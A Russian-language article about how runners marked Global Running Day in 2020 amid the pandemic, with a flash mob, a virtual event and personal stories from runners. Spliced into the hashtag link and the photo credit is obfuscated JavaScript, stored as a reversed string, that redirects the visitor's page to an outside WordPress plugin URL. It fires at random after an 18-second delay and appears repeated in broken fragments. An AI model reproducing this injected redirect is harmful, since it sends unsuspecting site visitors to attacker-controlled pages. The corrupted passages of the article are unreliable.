В первую среду июня спортсмены отмечают Международный день бега. Как этот день проходит в 2020 году, когда мир охвачен пандемией коронавирусной инфекции?
День бега официально стал Всемирным с 2016 года, до этого его отмечали только в Соединённых Штатах Америки. Затем инициативу подхватили в различных беговых клубах и даже в IAAF (Международная ассоциация лёгкой атлетики. — Прим. ред.). И теперь каждую первую среду июня бегуны со всего мира делают то, что любят — и делятся этим по тегу $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top/» target=»_blank»>#GlobalRunningDay.
В этом году из-за пандемии коронавирусной инфекции нет массовых забегов, и собираться в небольшие группы для совместных пробежек также не рекомендуется. Даже профессиональные спортсмены не участвуют в привычных соревнованиях. Но так или иначе выйти и пробежать свои 3, 5, 10 километров может каждый, и сегодня — лучший день для этого.
Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com
Присоединиться к празднику можно официально — через сайт globalrunningday.org, где нужно зарегистрироваться и указать количество километров, которое вы планируете пробежать (на момент публикации в акции поучаствовали более 26 тысяч спортсменов из 166 стран). На этом же сайте можно выбрать виртуальное мероприятие и стать его участником — чтобы бежать было интереснее.
Рассказываем, как отмечали Всемирный день бега его преданные фанаты.
Как бегуны отмечают Всемирный день бега
Организаторы забегов в Краснодарском крае «Высшая лига» устроили флешмоб — призвали всех распечатать номера, написать на них о том, что мотивирует бегать, и выйти на пробежку в 4:40 утра! Кажется, флешмоб удался.
По всему миру люди показывают свои пробежки…
…и вспоминают, за что они любят бег!
Александр Вылегжанин
соавтор youtube-канала «Нелёгкая атлетика»
— День бега без бега даже не считается!
Сегодня в тренировочном плане стоял восстановительный кросс, который я с удовольствием отбегал. Вообще, для меня уже каждый день стал беговым праздником, каждый раз, выходя на пробежку, я жду новой порции впечатлений от тренировки.
Рад, что в нашей стране набирает силу беговое движение и всё больше людей приобщаются к беговой культуре. Особенно важно в наше время напомнить о пользе бега для иммунитета и профилактики различных заболеваний. Всех с праздником!
Алёна Рюминская
HR-специалист, любит бег
— Бегая, я нашла любовь. В 2018-м Серёжа бежал московский полумарафон, а я в это время бежала 10 километров в Нижнем Новгороде с подругой. После забега мы с ней просматривали ленту и посты друзей с результатами, и в рекомендациях мне попался Серёжка. Я зашла на его страницу, увидела, что это была его первая половника, и такой хороший результат — 1:22:49. Я была удивлена и решила на него подписаться. Он, как оказалось, на меня уже был подписан. Я смотрела за его тренировками, и через пару недель он мне на что-то ответил, мы встретились и до сих пор вместе.
У каждого из нас есть интенсивные тренировки и длительная пробежка в воскресенье, на эти дни мы никогда ничего не планируем. Мы бегаем вместе по субботам. И у нас всегда есть вечер среды, на который мы никогда не ставим тренировки. Это день для свиданий, прогулок. При большой любви к бегу и друг другу можно всё сочетать, главное — поддержка и соблюдение маленьких правил.
Серебряная медалистка Олимпийских игр 1988 года и чемпионка в беге на 10 тысяч метров 1991 года Лиз Мак-Колган в своём инстаграме поздравила всех с Международным днём бега: «Хоть мы и ожидали, что отметим этот день по-другому, но всё же давайте выйдем, поставим одну ногу перед другой, сделаем глубокий вдох и насладимся!» Предлагаем всем последовать её совету. С праздником!
Статьи по теме
«Беговое сообщество» переносит Московский полумарафон и другие забеги
«Трудности — это проверка нашей мотивации»: как тренируются российские бегуны во время карантина
3 упражнения для сильных ног от олимпийского чемпиона в беге Юрия Борзаковского
«Нужно всегда оставаться голодным и вписываться в любые авантюры»: марафонец Алексей Лихарев о беге и тяге к приключениям
